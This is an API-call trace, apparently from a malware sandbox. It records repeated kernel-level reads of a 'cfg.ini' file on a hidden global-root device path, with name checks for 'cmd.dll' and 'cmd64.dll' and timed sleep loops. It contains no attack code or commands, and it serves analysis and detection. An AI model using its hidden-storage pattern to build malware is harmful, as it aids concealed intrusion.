0xfffffa8003b863b0 [0123.312] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.312] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.312] IdePortDispatch () returned 0x103 [0123.312] KeWaitForMutexObject () returned 0x0 [0123.312] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.312] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.312] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.312] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.312] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.312] IdePortDispatch () returned 0x103 [0123.313] KeWaitForMutexObject () returned 0x0 [0123.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.313] KeLeaveCriticalRegion () [0123.313] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.313] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.313] KeEnterCriticalRegion () [0123.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.313] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.313] KeLeaveCriticalRegion () [0123.313] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.313] KeEnterCriticalRegion () [0123.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.313] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.313] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.313] KeLeaveCriticalRegion () [0123.313] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.313] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.313] KeEnterCriticalRegion () [0123.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.313] ExFreePoolWithTag (P=0xfffffa8003bebf60, Tag=0x0) [0123.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.313] KeLeaveCriticalRegion () [0123.313] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.313] ReleaseMutex (hMutex=0xf0) returned 1 [0123.313] Sleep (dwMilliseconds=0x124f80) [0123.334] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.334] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.334] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.334] KeEnterCriticalRegion () [0123.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.334] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.334] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.334] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.334] IdePortDispatch () returned 0x103 [0123.334] KeWaitForMutexObject () returned 0x0 [0123.335] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.335] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.335] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.335] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.335] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.335] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea290 [0123.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.335] KeLeaveCriticalRegion () [0123.335] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.335] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.335] KeEnterCriticalRegion () [0123.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.335] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.335] KeLeaveCriticalRegion () [0123.335] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.335] KeEnterCriticalRegion () [0123.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.335] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.335] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.335] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.335] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.335] IdePortDispatch () returned 0x103 [0123.335] KeWaitForMutexObject () returned 0x0 [0123.335] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.335] KeLeaveCriticalRegion () [0123.335] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.335] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.335] KeEnterCriticalRegion () [0123.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.335] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348c000 [0123.335] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.335] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.335] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.335] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.336] IdePortDispatch () returned 0x103 [0123.336] KeWaitForMutexObject () returned 0x0 [0123.336] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.336] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.336] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.336] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.336] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.336] IdePortDispatch () returned 0x103 [0123.336] KeWaitForMutexObject () returned 0x0 [0123.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.336] KeLeaveCriticalRegion () [0123.336] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.337] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.337] KeEnterCriticalRegion () [0123.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.337] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.337] KeLeaveCriticalRegion () [0123.337] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.337] KeEnterCriticalRegion () [0123.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.337] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.337] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.337] KeLeaveCriticalRegion () [0123.337] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.337] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.337] KeEnterCriticalRegion () [0123.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.337] ExFreePoolWithTag (P=0xfffffa8003bea290, Tag=0x0) [0123.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.337] KeLeaveCriticalRegion () [0123.337] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.337] ReleaseMutex (hMutex=0xf0) returned 1 [0123.337] Sleep (dwMilliseconds=0x124f80) [0123.351] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.351] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.351] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.351] KeEnterCriticalRegion () [0123.351] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.351] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.351] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.351] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.351] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.351] IdePortDispatch () returned 0x103 [0123.351] KeWaitForMutexObject () returned 0x0 [0123.351] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.351] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.351] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.351] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.351] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.351] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebca0 [0123.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.351] KeLeaveCriticalRegion () [0123.351] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.351] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.351] KeEnterCriticalRegion () [0123.351] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.351] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.351] KeLeaveCriticalRegion () [0123.351] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.351] KeEnterCriticalRegion () [0123.351] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.351] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.351] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.351] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.351] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.351] IdePortDispatch () returned 0x103 [0123.352] KeWaitForMutexObject () returned 0x0 [0123.352] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.352] KeLeaveCriticalRegion () [0123.352] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.352] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.352] KeEnterCriticalRegion () [0123.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.352] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003491000 [0123.352] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.352] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.352] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.352] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.352] IdePortDispatch () returned 0x103 [0123.352] KeWaitForMutexObject () returned 0x0 [0123.352] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.352] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.352] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.352] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.352] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.352] IdePortDispatch () returned 0x103 [0123.352] KeWaitForMutexObject () returned 0x0 [0123.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.353] KeLeaveCriticalRegion () [0123.353] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.353] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.353] KeEnterCriticalRegion () [0123.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.353] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.353] KeLeaveCriticalRegion () [0123.353] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.353] KeEnterCriticalRegion () [0123.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.353] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.353] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.353] KeLeaveCriticalRegion () [0123.353] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.353] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.353] KeEnterCriticalRegion () [0123.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.353] ExFreePoolWithTag (P=0xfffffa8003bebca0, Tag=0x0) [0123.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.353] KeLeaveCriticalRegion () [0123.353] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.353] ReleaseMutex (hMutex=0xf0) returned 1 [0123.353] Sleep (dwMilliseconds=0x124f80) [0123.368] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.368] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.368] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.368] KeEnterCriticalRegion () [0123.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.368] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.368] IdePortDispatch () returned 0x103 [0123.368] KeWaitForMutexObject () returned 0x0 [0123.368] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.368] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.368] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.369] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.369] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.369] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea7b0 [0123.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.369] KeLeaveCriticalRegion () [0123.369] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.369] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.369] KeEnterCriticalRegion () [0123.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.369] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.369] KeLeaveCriticalRegion () [0123.369] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.369] KeEnterCriticalRegion () [0123.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.369] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.369] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.369] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.369] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.369] IdePortDispatch () returned 0x103 [0123.369] KeWaitForMutexObject () returned 0x0 [0123.369] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.369] KeLeaveCriticalRegion () [0123.369] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.369] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.369] KeEnterCriticalRegion () [0123.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.369] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003496000 [0123.369] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.369] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.369] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.369] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.369] IdePortDispatch () returned 0x103 [0123.370] KeWaitForMutexObject () returned 0x0 [0123.370] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.370] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.370] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.370] IdePortDispatch () returned 0x103 [0123.370] KeWaitForMutexObject () returned 0x0 [0123.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.370] KeLeaveCriticalRegion () [0123.370] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.370] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.370] KeEnterCriticalRegion () [0123.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.370] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.371] KeLeaveCriticalRegion () [0123.371] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.371] KeEnterCriticalRegion () [0123.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.371] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.371] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.371] KeLeaveCriticalRegion () [0123.371] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.371] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.371] KeEnterCriticalRegion () [0123.371] ExAcquireFastMutexUnsafe (in: 